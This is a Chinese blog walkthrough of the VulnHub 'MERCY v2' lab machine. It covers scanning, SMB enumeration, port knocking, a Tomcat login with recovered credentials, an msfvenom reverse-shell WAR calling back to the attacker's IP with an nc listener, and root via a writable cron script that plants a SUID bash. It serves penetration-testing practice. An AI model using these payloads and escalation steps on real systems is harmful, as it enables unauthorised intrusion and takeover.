vulnhub靶场之digitalworld.local: MERCY v2_mercy vulnhub-CSDN博客攻略
https://download.vulnhub.com/digitalworld/MERCY-v2.zip靶场下载
1.主机探测
nmap -sn 192.168.100.0/24 arp-scan -I eth0 192.168.100.0/24 netdiscover -i eth0 -r 192.168.100.0/24 masscan 192.168.100.0/24 -p 8080探测到目标主机为192.168.100.137
2.端口扫描
我们可以看到好多的端口,但是22端口和80端口没有开放
22 53 80 110 139 143 445 993 995 8080
3.渗透测试
访问web服务
无法运作
访问8080端口可以有效
我们可以看到是一个默认的tomcat页面,我们进行扫描
扫描8080web服务目录
dirb http://192.168.100.137:8080
我们扫描到一个登录页面,一个robots.txt
访问robots.txt和manager
我们进行访问是
应该是base64
解码后看内容是什么
发现了密码password
我们访问/manager/,发现是一个登录页面,但是我们不知道用户名和密码
所以这里我们的思路就断了,先把password放一放,我们在扫描端口的时候,扫描到了smb服务,我们使用enum4linux对目标smb服务进行枚举
smb服务
enum4linux -a 192.168.100.137enum4linux是一个用于枚举 Windows 和 Samba 系统上信息的工具,它可以帮助你发现目标系统的用户列表、组列表、共享信息以及其他一些有用的信息。这个工具特别适用于渗透测试和安全评估。
重点突破qiu
smbclient -NL 192.168.100.137 -N:空密码匿名登录 -L:列出目标 Samba 全部共享文件夹 输出证明靶机 3 个共享: 列出共享文件夹根据前面2个命令,我们可以看到用户名是qiu
我们前面找到密码是password,用户名是qiu,我们使用smbclient查看目标文件共享
smbclient -U qiu \\\\192.168.100.137\\qiu我们可以看到2个文件,我们进行查看
knock敲门服务
在smb中输入 get config /tmp/config.txt因为在smb这个地方cat用不了
kali中看到 80 22确实是被禁止使用了
能看就行
我们可以看到是一个敲门端口,我们前面找到22端口和80端口没有开启,这里我们使用knock命令开启22和80端口
knock 192.168.100.137 159 27391 4 -v knock 192.168.100.137 17301 28504 9999 -v apt install knockd再次扫描发现80端口22端口都打开了
访问80端口
靶机敲门放行 80 后,iptables 防火墙规则只信任本机内网网段(192.168.100.x):
好像没有什么用,我们进行扫描
扫描80端口服务目录
我们扫描到robots.txt,我们进行查看
拼接
发现是是ripscms,我们进行漏洞利用
文件包含漏洞
searchsploit rips 0.53
前面8080端口提示
我们看到用户名和密码,我们前面扫描出来一个登录页面,我们进行登录
tomcat登录
我们可以看到登录成功
<user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
文件上传拿shell
我们在下面可以看到一个文件上传页面,而且规定文件类型是war
那么我们就使用msf进行
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.128 LPORT=6666 -f war -o evil.war生成木马 ip是kali的 生成到了桌面 我直接xshell ftp中传到宿主机上 直接部署
kali中监听:nc -lvp 6666
访问http://192.168.100.137:8080/evil/wttiifffzhfbs.jsp拿到shell
权限提升
使用python切换交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
这些都没有什么用
前面文件包含我们可以看到2个用户名和密码,我们试试第二个用户名和密码
我们成功登录
我们在home目录下,看到一个定时任务,权限是777,那么我们就可以使用它进行提权,我们修改内容
cp /bin/bash /tmp/bash:复制系统自带 bash 解释器到 /tmp 目录,生成一份副本chmod 4777 /tmp/bash:给这个 bash 副本设置SUID 特殊权限位- 这是典型 Cron 定时任务脚本权限不当提权:管理员把 root 定时执行的脚本放开了普通用户写权限,导致恶意代码注入,利用 SUID 机制永久拿到 root 交互式 shell。